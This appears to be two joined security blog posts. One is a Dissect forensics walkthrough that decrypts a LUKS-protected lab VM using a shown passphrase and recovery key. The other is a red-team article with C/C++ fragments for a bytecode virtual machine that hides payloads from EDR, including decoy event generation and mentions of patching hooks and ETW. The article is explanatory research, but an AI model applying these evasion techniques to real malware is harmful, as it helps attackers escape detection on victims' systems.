2024-11-27T11:48:09.826056Z [warning  ] <Target Ubuntu 64-bit 24.04.1.vmwarevm>: Unsupported mount device: /dev/disk/by-id/dm-uuid-LVM-YZiSLhoYFljS62k2vIjl3IcTwSkd0QguADKOf0a8t9am1jNdm9J1zerrDU7SWWFd / [dissect.target.target] 
<Target Ubuntu 64-bit 24.04.1.vmwarevm> 
2024-11-27T11:48:13.916382Z [warning  ] No timestamp found in one of the lines in /var/log/syslog! [dissect.target.helpers.utils] 
2024-11-27T11:48:13.925913Z [warning  ] Timestamp '27 2024 12:40:57' does not match format '%b %d %H:%M:%S', skipping line. [dissect.target.helpers.utils] 
2024-11-27T11:48:13.936096Z [warning  ] Timestamp 'Nov 2024 11:40:35' does not match format '%b %d %H:%M:%S', skipping line. [dissect.target.helpers.utils] 
2024-11-27T11:48:13.936416Z [warning  ] Timestamp 'Nov 2024 11:40:35' does not match format '%b %d %H:%M:%S', skipping line. [dissect.target.helpers.utils] 
2024-11-27T11:48:13.944841Z [warning  ] Timestamp 'Nov 2024 11:40:15' does not match format '%b %d %H:%M:%S', skipping line. [dissect.target.helpers.utils] 
2024-11-27T11:48:13.950083Z [warning  ] Timestamp 'Nov 2024 11:40:11' does not match format '%b %d %H:%M:%S', skipping line. [dissect.target.helpers.utils] 
2024-11-27T11:48:13.985809Z [warning  ] Timestamp 'Nov 2024 11:40:04' does not match format '%b %d %H:%M:%S', skipping line. [dissect.target.helpers.utils] 
2024-11-27T11:48:14.037897Z [warning  ] <Target Ubuntu 64-bit 24.04.1.vmwarevm>: Could not match cloud-init log line in file: /var/log/cloud-init.log [dissect.target.target] 
2024-11-27T11:48:14.037992Z [warning  ] <Target Ubuntu 64-bit 24.04.1.vmwarevm>: Could not match cloud-init log line in file: /var/log/cloud-init.log [dissect.target.target] 
2024-11-27T11:48:14.038056Z [warning  ] <Target Ubuntu 64-bit 24.04.1.vmwarevm>: Could not match cloud-init log line in file: /var/log/cloud-init.log [dissect.target.target] 
 
Disks 
- <Disk type="VmdkContainer" size="21474836480"> 
 
Volumes 
- <Volume name="part_00100000" size="1048064" fs="NoneType"> 
- <Volume name="part_00200000" size="1902116352" fs="ExtFilesystem"> 
- <Volume name="part_71800000" size="19569573376" fs="NoneType"> 
- <Volume name="part_71800000" size="19552796160" fs="NoneType"> 
- <Volume name="ubuntu--vg-ubuntu--lv" size="19549650944" fs="ExtFilesystem">
 
Hostname       : personnel-VMware-Virtual-Platform 
Domain         : None 
Ips            : 
Os family      : linux 
Os version     : Ubuntu 24.04.1 LTS (Noble Numbat) 
Architecture   : x86_64-linux 
Language       : en_US, en_US 
Timezone       : Europe/Amsterdam 
Install date   : 2024-11-27T11:33:29.665213+00:00 
Last activity  : 2024-11-27T11:45:34.821181+00:00 

We can use the same technique to extract another file from the Ubuntu desktop: 

$ target-shell "Ubuntu 64-bit 24.04.1.vmwarevm" -K keychain.csv -v                                                                                                                           
2024-11-27T11:59:52.227142Z [info     ] Registered key Key(key_type=<KeyType.PASSPHRASE: 'passphrase'>, value='glad-design-paper-airplane', provider='luks', identifier=None, is_wildcard=False) [dissect.target.helpers.keychain] 
2024-11-27T11:59:52.227562Z [info     ] Registered key Key(key_type=<KeyType.RECOVERY_KEY: 'recovery_key'>, value='395791-328042-677721-279895-554466-214599-232023-709148', provider='bitlocker', identifier=None, is_wildcard=False) [dissect.target.helpers.keychain] 
2024-11-27T11:59:53.719915Z [info     ] Volume <Volume name='part_71800000' size=19569573376 fs=None> unlocked with Key(key_type=<KeyType.PASSPHRASE: 'passphrase'>, value='glad-design-paper-airplane', provider='luks', identifier=None, is_wildcard=False) (keyslot: 0) [dissect.target.volumes.luks] 
2024-11-27T11:59:53.922164Z [warning  ] <Target Ubuntu 64-bit 24.04.1.vmwarevm>: Can't identify filesystem: <Volume name='part_00100000' size=1048064 fs=None> [dissect.target.target] 
2024-11-27T11:59:54.733524Z [info     ] <Target Ubuntu 64-bit 24.04.1.vmwarevm>: Found compatible OS plugin: DebianPlugin [dissect.target.target] 
2024-11-27T11:59:54.770648Z [info     ] <Target Ubuntu 64-bit 24.04.1.vmwarevm>: Found compatible OS plugin: LinuxPlugin [dissect.target.target] 
2024-11-27T11:59:54.791479Z [info     ] <Target Ubuntu 64-bit 24.04.1.vmwarevm>: Found compatible OS plugin: UnixPlugin [dissect.target.target] 
2024-11-27T11:59:54.802888Z [warning  ] <Target Ubuntu 64-bit 24.04.1.vmwarevm>: Unsupported mount device: /dev/disk/by-id/dm-uuid-LVM-YZiSLhoYFljS62k2vIjl3IcTwSkd0QguADKOf0a8t9am1jNdm9J1zerrDU7SWWFd / [dissect.target.target] 

personnel-VMware-Virtual-Platform:/$ cat /home/personnel/Desktop/secretLinuxfile 
"Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum."

Last but not least, Dissect also contains the fve-dd utility.  fve-dd can be used to decrypt an entire disk which allows a wider range of external tools to be used. fve-dd works on any supported Dissect containers. The individual VMDK files can be extracted from the .vmwarevm container:

$ ls                                                                                                                                                                                           
Virtual Disk-s001.vmdk Virtual Disk-s002.vmdk Virtual Disk-s003.vmdk Virtual Disk-s004.vmdk Virtual Disk-s005.vmdk Virtual Disk-s006.vmdk Virtual Disk.vmdk

Now the disk can be decrypted using fve-dd. The decryption can take some time depending on the size of the disk:

$ fve-dd -p glad-design-paper-airplane -o decrypted.dd "Virtual Disk.vmdk" -v

Dissect and other tools can be used on the decrypted disk:

$ target-info decrypted.dd                                                                                                                                                                     
[…]

Disks
- <Disk type="RawContainer" size="21458059264">

Volumes
- <Volume name="part_00100000" size="1048064" fs="NoneType">
- <Volume name="part_00200000" size="1902116352" fs="ExtFilesystem">
- <Volume name="part_71800000" size="19569573376" fs="NoneType">
- <Volume name="ubuntu--vg-ubuntu--lv" size="19549650944" fs="ExtFilesystem">

Hostname       : personnel-VMware-Virtual-Platform
Domain         : None
Ips            :
Os family      : linux
Os version     : Ubuntu 24.04.1 LTS (Noble Numbat)
Architecture   : x86_64-linux
Language       : en_US, en_US
Timezone       : Europe/Amsterdam
Install date   : 2024-11-27T11:33:29.665213+00:00
Last activity  : 2024-11-27T11:45:34.821181+00:00

Have fun with the latest version of Dissect!  

Red Teaming in the age of EDR: Evasion of Endpoint Detection Through Malware Virtualisation

25 September 2024 at 12:36

Authors: Boudewijn Meijer && Rick Veldhoven

Introduction

As defensive security products improve, attackers must refine their craft. Gone are the days of executing malicious binaries from disk, especially ones well known to antivirus and Endpoint Detection and Reponse (EDR) vendors. Now, attackers focus on in-memory payload execution for both native and managed applications to evade defensive products. Meanwhile, defensive technologies are becoming increasingly sophisticated, which is forcing attackers to further adapt. In times of such an arms race, how does an attacker stay ahead? And how can malware be future-proofed to evade the sophisticated EDR systems that currently exist and are actively being developed?

This blog post reviews the evolution of one of Fox-IT’s evasive tools, designed to aid in payload delivery during Red Teaming engagements. We will touch on the tool’s history and its future potential in the face of offensive and defensive progress.

Historical Perspective

The core of the arms race between malware and antimalware is as follows: antimalware must classify arbitrary programs, in memory or at-rest, as either benign or malicious while operating under a set of constraints. The products are constrained by the amount of performance a user or customer is prepared to surrender in terms of CPU time, memory or bandwidth while the classification takes place, and by how many false-positives the product generates. If the product is too resource intensive, a customer will complain it is slow. If it quarantines important documents, it potentially does more harm than good. These constraints shape and limit each step in the evolution of antimalware products. Not only AV vendors need to worry about performance when writing tools. Malware authors need to take execution speed, or other system changes, into account when deploying malware. Take for example the recently uncovered XZ1 backdoor that was spotted by a software engineer due to an increase in login time from 0.2 to 0.8 seconds. Had the authors of this piece of code not observably changed the behavior of the system, the backdoor would have likely been deployed successfully.

Since the early days of viruses circulating on floppy disks, writing undetected malware has been a cat-and-mouse game between attackers and defenders. Originally, antivirus software focused strictly on true-positive detection of viruses on the basis of signatures and patterns in a program’s instructions. Absent a mistake in the signature database, a unique signature match guarantees a true-positive match of a malicious sample after which the malicious file can be removed or quarantined. This method of detection strongly adheres to the constraints placed on antimalware products, because simple pattern matches are performant and true-positive detection is almost guaranteed.

For malware authors, the solution was simple: to evade detection, the virus must be made impossible to detect through a unique pattern. This may be achieved by changing the code, or by encrypting the code and decrypting it at runtime. If you automate this, you get what is called a packer: a tool that encrypts, compresses or otherwise changes a virus to evade detection. A packer changes the majority of the code in the virus and adds a stub to the code. This stub is often the first piece of code that is executed when the program is launched. Its job is to undo all changes previously made to the original code (e.g. compression or encryption). After all changes are reverted, execution will be passed to the original code. This stub can also make use of anti-reversing/anti-tampering code that attempts to protect the original code from prying eyes.

This reduces the amount of “attack surface” for signature creation for samples that are on the disk or otherwise stored at rest. This method is also used to compress binaries for distribution, allowing for smaller release packages. Therefore, not all compressed binaries can be marked as malicious.

However, even very small unpacker stubs may match a signature that can be uniquely tied to the packer itself. Combining this signature with some rules related to the amount of entropy in a file, a packer can still be detected with a high degree of accuracy. At this point, the antimalware solution has evolved to utilize metadata about a file, such as entropy, obtaining the ability to detect packed files but at the cost of a higher false-positive rate.

The next step in the arms race for malware authors is to eliminate the potential for a signature match in the unpacker stub. This means that the stub must consist of different instructions each time a new sample is created. An important insight is that “what the code does” and “how the code looks” are not 1:1 mappings. There are infinitely many ways to write down computer code to achieve a certain effect or result. There are therefore infinitely many ways in which a particular unpacking algorithm can be written. A packer that is designed to create the unpacking stub that looks different each time can be called polymorphic. The algorithm or code that performs the changes is called a polymorphic engine2.

Combining a packer with a polymorphic engine eliminates the “attack surface” for simple signature matches of malware at-rest. Fox-IT has written and maintained two polymorphic packers like this since 2015. Although they still produce good results against modern EDR, even these tools are getting more and more difficult to sneak past defenses. That’s because there’s a conceptual flaw in the polymorphic packer: the original malicious code is still decrypted at some point in order to execute. If antimalware products can time the moment to start scanning for malicious patterns when the packer has finished decoding the malicious code, then detecting malware becomes easy again.

Modern operating systems and processors try to ensure that not all data in a computer’s memory can be executed as code for safety reasons3. Particularly, systems are typically designed to prevent the execution of code from writable pages. Therefore, a virus or malware sample that wants to decrypt and/or decompress its own code must first make the changes in writable memory pages. After, the virus changes the page protection to readable and executable and transfers control to the newly modified executable memory. Antimalware products equipped to analyze the behavior of other programs at runtime make use of behavioral patterns like this to decide when to scan the memory of a process for malicious patterns. Because the memory, once decrypted, cannot be changed anymore due to the aforementioned limitations, scanning a process after making memory executable is the ideal time to spot malicious patterns.

Antimalware products that are equipped with rules that generate additional signals to determine if a program is malicious or not, are said to employ “heuristics”. Conceptually, antimalware products have achieved a comprehensive set of features to detect malware execution. The evolutions we’ve seen since the early days of these feature complete products can all be understood as attempts to loosen or lift the constraints set out above: “Cloud-based protection” runs resource intensive heuristics on someone else’s computer; adding human oversight, the “R” in “EDR” lowers the impact of a false-positive and brings humans into the detection and response loop.

How then, can a Red Team smuggle their malware past these new and advanced defenses? In the past, a virus writer might employ what is called a “metamorphic” engine4. This is an algorithm designed to re-write the entire virus each time it infects a new file, including the entire metamorphic engine itself. Using it ensures that there is never one ‘true’ virus sample that can be detected with a static signature; each copy of the virus is completely different. With a tool like this you would not need a packer, because there are no static patterns that can ever be uniquely tied to your virus. However, the explosion in modern software complexity and the requirement for malware to work on a variety of systems

Hiding From Analysis: Virtualisation

To hide from both static and dynamic analysis of payloads, the generated sample must be resilient to code inspection and code flow analysis. If the real instructions are not revealed to an observer, hardly any conclusions can be drawn from the outer shell. If this is achieved, defensive products would be met with the following limitations when inspecting the payload:

  • Difficult to observe instruction patterns;
  • Difficult to patch instructions;
  • Difficult to ignore instructions;
  • Difficult to predict behavior.

Hiding instructions is not something new. Products like VMProtect5 cloak parts of the code by embedding a virtual machine and generate unique instructions to be executed on this VM. Code that is to be virtualized must be identified either by a marker added to the source code or by the presence of a PDB file containing the symbols. This requirement is something that cannot always be met when using third-party tools. Additionally, this type of protection is aimed at protecting specific functions, like license key checking algorithms, limiting the use for an adversary. Lastly, using existing tools can have a negative impact on the detection ratio, as these products are heavily researched and can contain static signatures like hardcoded section names.

Considering the benefits of a virtualisation layer, however, it is clear that this technique is very powerful.

Creating a Custom Virtualisation Layer

It was decided that a virtualisation layer should be created. This layer consists of a virtual machine implementing opcodes6, and bytecode7 executing on the virtual machine. The virtualisation layer that was to be created must match the following requirements and limitations:

  1. Bytecode instructions are executed sequentially;
  2. Bytecode instructions are hidden before and after execution;
  3. The instruction set supports basic x86-64 instructions only;
  4. The virtual machine must provide an interface to the system API;
  5. The virtual machine implementation must be simple and position independent to support morphing;
  6. The virtualisation layer must work without access to source code or debug symbols.

Creating a virtualisation layer started with a design of the instructions to be executed, the virtual machine, and the supported instruction set. Additionally, the layout of the final payload was created where all data must be present in a position independent format and could be executed like shellcode. This allows the payload to be embedded in other executable formats (e.g. executables or DLLs), and allows for dynamic execution when staging malware.

For example, the following layout would allow for the above functionality. In this example, the virtual machine must start with a correcting stub that correctly sets the virtual machine argument registers to their respective values:

Example of a data structure containing all required building blocks within position independent code.

The Anatomy of an Instruction

To keep the virtual machine architecture simple, an instruction format was created to be consistent in length between instruction and operand types. This design decision allows the omission of a Length Disassembler Engine (LDE)8, and can simply use the instruction pointer as an index to the current instruction. All information present in normal, non-SSE9/AVX10 x86 instructions must be included.

At its core, an instruction identifies the operation that must be performed, and optionally what data is provided in the form of operands. An operand can be one of three types:

  1. Immediate value: a constant value embedded in the instruction;
  2. Memory location: a memory location pointed to by the instruction;
  3. Register: a register, or part of one, identified by the instruction.

In order to obtain data from an operand, a generic format must be created that encompasses the different operand types. It was decided that a single 64-bit field could be used to hold the different types of operands, as all of the necessary data of the aforementioned types can be embedded into 64 bits.

The structures below show the layout of each operand type:

This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode characters
struct ImmediateOperand {
Value value; // A constant value
}; // size: 8 bytes
struct MemoryOperand {
uint8_t size; // The effective size of the operand (8, 16, 32, 64 bits)
uint8_t base; // A regiser holding a pointer value to the base address
uint8_t index; // A register holding the index of the array
uint8_t scale; // A constant multiplier of 1, 2, 4, or 8
int32_t displacement; // A value to be added to the calculated address
}; // size: 8 bytes
struct RegisterOperand {
uint8_t reg; // A base register of the x86-64 register set
uint8_t chunk; // The specific register chunk: low, high, word, dword, qword
uint16_t size; // The effective size of the operand (8, 16, 32, 64 bits)
uint32_t pad; // Padding to meet the 64 bit size requirement
}; // size: 8 bytes
union Operand {
ImmediateOperand imm; // View the data as an immediate operand
MemoryOperand mem; // View the data as a memory operand
RegisterOperand reg; // View the data as a register operand
}; // size: 8 bytes
view raw operand.h hosted with ❤ by GitHub

Note: The Value type of the immediate operand is a simple union with (u)int8_t to (u)int64_t members. This makes it trivial to index the correct data during implementation of opcodes.

To indicate the instruction’s opcode, a single 1-byte value can be used. This provides 256 unique opcodes, which should be enough to implement basic behavior. Lastly, the type of each operand must be embedded within the instruction format, as opcode implementations must be able to interrogate these types.

This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode characters
struct Instruction {
uint8_t opcode; // The opcode of the instruction
uint8_t lparam_type : 4; // The type of the first (left) operand
uint8_t rparam_type : 4; // The type of the second (right) operand
Operand lparam; // The first (left) operand
Operand rparam; // The second (right) operand
}; // size: 18 bytes
view raw instruction.h hosted with ❤ by GitHub

Protecting Instructions

To meet requirement two, “Instructions are hidden before and after execution”, instructions are protected using encryption. Many encryption algorithms can be used to hide instructions. However, it is required for the instruction size to remain the same, as the instruction will be decrypted and encrypted in-place and will not be moved to a temporary buffer. This removes the necessity for dynamic memory allocation from within the virtual machine. Additionally, the chosen encryption scheme must be trivial to implement, as the code will be located in the virtual machine and thus create an ‘attack surface’ for signature detection. Implementing complex algorithms is detrimental to the ability to effectively manipulate the code using a polymorphic engine.

The Anatomy of the Virtual Machine

The virtual machine resembles a virtual CPU, implementing all the available opcodes. Furthermore, the available registers, CPU flags, and stack are part of the virtual machine object. Lastly, the virtual machine holds a pointer to the bytecode buffer necessary for execution. An added benefit of implementing the virtual machine is that the real stack is also abstracted away. Heuristics that attempt to spot malicious behavior from the stack will not succeed.

This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode characters
struct Context {
uint32_t ip; // Instruction pointer
uint8_t flags; // CPU flags to be manipulated by opcodes
Register registers[17]; // General Purpose Registers (rax, … r15 and gs)
Instruction* instructions; // A pointer to the start of the bytecode buffer
uint8_t stack[STACK_SIZE]; // The virtual machine stack
};
view raw context.h hosted with ❤ by GitHub

Functions to initialize the virtual machine context, to obtain the current instruction, and to load and store values based on the instruction operands were created to aid in the implementation of opcodes within the virtual machine.

Once initialized, the virtual machine can enter its dispatch loop. This loop consists of obtaining the current instruction and executing the opcode identified by the opcode field in the instruction object. The instruction is decrypted before execution and is encrypted after. A dispatch function could be implemented as follows:

This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode characters
void dispatch_instruction(Context* vm) {
uint32_t ip = vm->ip;
decrypt_instruction(vm, ip);
switch (vm->instructions[ip].opcode) {
case Opcode::ADD: opcode_add(vm); next_instruction(vm); break;
case Opcode::AND: opcode_and(vm); next_instruction(vm); break;
case Opcode::BT: opcode_bt(vm); next_instruction(vm); break;
…
}
encrypt_instruction(vm, ip);
}
view raw dispatch.cpp hosted with ❤ by GitHub

An attentive reader may have noticed the construction of the temporary variable ip, which is used in further operations. This originates from the fact that any instructions modifying the instruction pointer, like jcc, call, and ret, will result in a modified instruction pointer when the opcode is finished. Therefore, the instruction pointer can no longer be used to re-encrypt the original instruction that was executed.

Implementation of a Basic Opcode

The following function implements the bit test (bt) opcode11:

This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode characters
void opcode_bt(Context* vm) {
// get the current instruction from the context
Instruction* i = get_current_instruction(vm);
// load the value and the bit to test
Value dst = fetch_value(vm, i->lparam_type, i->lparam);
Value src = fetch_value(vm, i->rparam_type, i->rparam);
// get the size in bits of the value to check
size_t size = get_operand_size(i->lparam_type, i->lparam);
// set the carry flag to the result of the bit test
switch (size) {
case 8: vm->flags.cf = (dst.u8 & (1 << src.u8)) != 0; break;
case 16: vm->flags.cf = (dst.u16 & (1 << src.u16)) != 0; break;
case 32: vm->flags.cf = (dst.u32 & (1 << src.u32)) != 0; break;
case 64: vm->flags.cf = (dst.u64 & (1ull << src.u64)) != 0; break;
}
}
view raw opcode_bt.cpp hosted with ❤ by GitHub

Improving the Bytecode Process: Transpiling

Initially, all bytecode created to execute in the virtual environment was written in assembly by hand. This provided the control needed to make sure specific opcodes and operand types were used, and as a test a PE loader was implemented in bytecode. As this limitation came at a major cost in development time and flexibility, a new method of generating bytecode was used: compiling and transpiling of C/C++ programs. This was chosen over using output directly from the assembler, as parsing these text files proved to be cumbersome and error-prone. Instead, the resulting linked binary was fed to a disassembler.

The disassembling of a binary is performed using the iced-x86 library12. This library allows for the conversion of x86 instructions to the custom format -described in the earlier section: The Anatomy of an Instruction– by checking the opcode of the instruction, the types of operand(s) and its value(s). Eventually, once all the x86 instructions are converted, the now transpiled bytecode can be interpreted by the virtual machine.

The bytecode generation process from source code to eventual bytecode.

The implementation of the transpiler instantly enabled us to support a large amount of existing tools, and made writing new tools easier. Most Position-independent Code (PIC)13 tools that compile from C/C++, including some BOFs14, can also be ported to execute on the virtual machine with relative ease.

Limitations to Bytecode Implementation

One of the limitations of the virtual machine implementation is shared with that of the bytecode. PIC must be created in order to generate valid bytecode that executes on the VM. In practice, this means that everything is relative to the current instruction pointer, and no references to other libraries or parts of other sections can exist:

  • No static variables;
  • No global variables;
  • No strings;
  • No static dependencies on libraries.

Supporting Native API Calls

To allow interfacing with the OS layer, bytecode must be able to perform native API calls. A translation layer must exist between the bytecode and native environment. The call instruction is used by compilers to invoke APIs, requiring the virtual machine’s call implementation to support this translation. Unfortunately, once a call instruction is encountered, no information is known to the virtual machine related to the number of arguments that must be forwarded. To resolve this problem, the bytecode can prepend the number of arguments when calling an API, giving the virtual machine layer enough information to translate the call into native execution. To programmatically perform this task, variadic arguments in C++ templates can be used to automatically deduce the amount of arguments passed:

This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode characters
template <typename Ret, typename … Args>
struct apicall<Ret(Args…)> {
static decltype(auto) call(const void* target, Args … args) {
constexpr size_t nargs = sizeof…(Args); // Calculate the number of arguments passed
using f = Ret(__stdcall*)(size_t, Args…); // Define the signature of the API to call
return ((f)target)(nargs, args…); // Invoke the API and return its result
}
};
int main() {
FARPROC _Sleep = get_address_of_sleep();
apicall<decltype(Sleep)>::call(_Sleep, 10'000);
return 0;
}
view raw apicall.cpp hosted with ❤ by GitHub

As specified in Microsoft’s x64 __stdcall15 calling convention, the first four integer or pointer arguments are passed using the registers rcx, rdx, r8 and r9, with the remaining arguments being passed on the stack. This means that at the time of executing the call instruction, rcx holds the number of arguments that must be passed to the API. The virtual machine can extract and inspect this value, and use it to correctly perform the call:

This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode characters
auto target = fetch_value(vm, i->lparam_type, i->lparam);
auto nargs = vm->registers.rcx.qword;
// extract the arguments
…
// Invoke the api
auto result = syscall(target, …);
// return the result to the bytecode environment
vm->registers.rax = result;
view raw vm.cpp hosted with ❤ by GitHub

The real values of the arguments are stored in rdx, r8, r9 and on the stack. When extracting the arguments from the stack, one must remember to keep the shadow space16 in mind.

Visually, the process looks like this:

A virtualized call instruction invokes ntdll!NtAllocateVirtualMemory. This call is translated to a native call and the API is invoked. The resulting value is returned to the VM.

Supporting Bytecode Function Callbacks

Keeping in mind the porting of existing programs to the bytecode architecture, one cannot omit the support for function callbacks within code. Take for example a simple linked list implementation, with a list_search function taking a predicate callback:

This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode characters
struct Node {
int value;
node* next;
};
struct SearchContext {
int value;
};
Node* list_search(Node* head, bool(*predicate)(Node* n, const void* ctx), const void* ctx);
bool searcher(Node* n, const void* ctx) {
return n->value == ((SearchContext*)ctx)->value;
}
int main() {
Node head;
// initialize and populate list
…
SearchContext ctx = { 10 };
Node* found = list_search(&head, searcher, &ctx);
return 0;
}
view raw list_search.cpp hosted with ❤ by GitHub

However, a problem arises: how does the virtual machine differentiate between a normal bytecode function call, a native API call, and a function callback? The difference between the first two is clear: the bytecode function call is a call to an address within the bytecode and is known at compile time, where the API call is a dynamic call, meaning a call to a function pointer stored in a register or memory location. Given that a callback within bytecode is a dynamic call, too, the virtual machine must be provided with information about the type of call being made.

To load a function pointer as an argument, a lea17 instruction is generated with its right operand referencing a memory address. This referenced memory address uses the instruction pointer (rip) register as the base field of the memory operand. When transpiling, such cases can be identified. To store this information, a new type of operand can be added to the already existing three types -listed in “The Anatomy of an Instruction”– (e.g. Function). When the virtual machine executes the lea instruction, it can check for the type of operand. If this operand’s type is Function, a tag can be added to the high 32 bits of the value, for example 0xDEADBEEF.

This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode characters
value = (0xDEADBEEFull << 32) | (value & 0xffffffff);
view raw tag_example.cpp hosted with ❤ by GitHub

Once the call instruction is invoked, the value of the operand can be interrogated. If this value contains the previously added tag, a callback is requested. To perform the call, the tag is stripped from the value and the instruction pointer can be set accordingly.

Supporting User-Defined Arguments

Depending on the type of program that is executing, user-defined arguments are required. Take for example a program that simply sleeps for a period of time. How long should this program sleep for? Hardcoding these values is not always an option. Early on in the development of the project, a simple data structure was defined which could be provided to the bytecode’s entry point:

This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode characters
struct Data {
size_t size; // Size of data including the `Data` header
uint8_t key[KEY_SIZE]; // Decryption key of the payload
uint8_t payload[0]; // Payload data
};
int bytecode_main(Data* data);
view raw bytecode.cpp hosted with ❤ by GitHub

Accompanying this, each bytecode project contained a script that packaged data in a way that could be understood by the bytecode. However, there was no consistency between these scripts and the method of extraction. For example, extracting two 4-byte integers is simpler than extracting two strings due to their variable size.

To standardize this process, and to include it into the building step itself instead of running a random script, a key-value solution was created in combination with an API that can interrogate the type and value of each argument. This is different from parameter packing that Cobalt Strike uses in its BOFs18, as default arguments, or arguments that are not strictly required are supported. Additionally, each argument is encrypted separately. This allows for a PE packer to extract domain-keying information before extracting the PE data.

The following API is defined:

This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode characters
enum Type {
Invalid, Boolean, Integer, String, Data
};
struct Argument {
size_t size; // The size of the argument including the header
Type type; // The type of the argument
size_t tag; // The identifying tag of the argument
uint8_t key[KEY_SIZE]; // The payload encryption key
uint8_t payload[0]; // The argument data
};
struct Arguments {
size_t size; // The total size of all arguments in bytes
size_t count; // The count of arguments present in the argument pack
uint8_t arguments[0]; // The argument data
};
bool has_argument(Arguments* args, size_t tag);
Argument* get_argument_by_tag(Arguments* args, size_t tag);
void decrypt_argument(Argument* arg);
void encrypt_argument(Argument* arg);
// utility functions to interpret the argument's payload
bool get_argument_boolean(Argument* arg);
int64_t get_argument_integer(Argument* arg);
char* get_argument_string(Argument* arg);
void* get_argument_data(Argument* arg, size_t* size);
view raw api.cpp hosted with ❤ by GitHub

The signature of the bytecode’s entry point is updated to incorporate this change:

This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode characters
int bytecode_main(Arguments* args);

Supporting DLLs

Executables and DLLs are very similar in the way they look and in the way they execute. Both have an entry point to which execution is passed, and both return a value. However, the execution flow of an executable starts at the entry point, and does not reach its function’s end until the program stops. DLLs often perform very limited initialization within their entry point, and return execution to the loader to not lock the loader threads. Additionally, the entry point of the DLL is called more than once: on process startup and shutdown, and on thread creation and destruction. The reason for calling the entry point is passed by the loader in the second, dwReason, argument. This allows the code inside of the DllMain function to differentiate between the reasons the entry point was invoked, and can act accordingly.

This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode characters
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved);
view raw dllmain.h hosted with ❤ by GitHub

To allow our shellcode to be embedded within DLLs, both the virtual machine and its bytecode must be made aware of the reason for invocation. This requires the entry point of the virtual machine and bytecode to match that of a DLL, automatically receiving the reason by the OS loader. This does not interfere with the entry point used by a normal executable, as the default entry point of any executable does not take any arguments directly, but instead the arguments argc and argv are resolved by the C runtime, which is not linked against.

On initialization, the virtual machine sets the bytecode’s rdx register to the value of its reason argument, passing the value to the entry point as the second argument. The programmer must decide if this value is to be inspected within the bytecode and should not use the value when writing bytecode to be embedded in an executable.

Deceiving Behavioral Analysis: Multi-VM Execution

Earlier, the method of detection based on behavior was discussed. This dynamic form of inspecting an application’s execution flow regardless of static patens is difficult for attackers to rid their malware of. Opening Lsass.exe and reading its memory could be marked as malicious, even if the process looks like calc.exe. Often, defensive products receive events by kernel callbacks, such as PsSetCreateProcessNotifyRoutine19 or PsSetLoadImageNotifyRoutine20, API/syscall hooks in the local process or by using Event Tracing for Windows (ETW)21 consumers.

Patching hooks in the local process along with local ETW functions that provide events is trivial. This rids the process of intrusive monitoring by antivirus or EDR solutions, and stops the process from creating events. However, some events are still generated, mostly by the ETW providers present in the kernel, along with the kernel callbacks. Additionally, events created during patching could still be monitored. Lastly, blinding defensive products could have a negative effect, as failure to receiving check-ins could be considered an error and a signal of malicious behavior by itself.

As an attacker, generating arbitrary events along with ones that might cause detection could be a method of thwarting dynamic detection rules based on behavior. Adding code to generate events in between regular instructions would require manipulation of source code, and is not preferred. Creating a new thread that generates random events could be in vain, as events are registered per unique thread in the process.

The virtual machine was extended to support vmcalls. These types of call instructions made by the bytecode notify the virtual machine layer that a task needs to be performed. Among multiple different supported calls, most noteworthy are the following:

  • vminit: Initialize the virtual machine object with bytecode and arguments
  • vmexec: Execute N cycles on the virtual machine

The combination of these two calls allows bytecode to create a new virtual machine, and execute a predetermined number of instructions:

This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode characters
#define NUM_CYCLES 200
// load the malicious bytecode and create a vm object
auto malicious = load_malicious_instructions();
auto malicious_vm = allocate_vm_object();
// load the bytecode creating events
auto events = load_event_bytecode();
auto events_vm = allocate_vm_object();
// initialize the vm objects with their bytecode and no arguments
vmcall<vminit>::call(malicious_vm, malicious, nullptr);
vmcall<vminit>::call(events_vm, events, nullptr);
while (true) {
vmcall<vmexec>::call(malicious_vm, NUM_CYCLES);
vmcall<vmexec>::call(events_vm, NUM_CYCLES);
}
view raw vm_call.cpp hosted with ❤ by GitHub

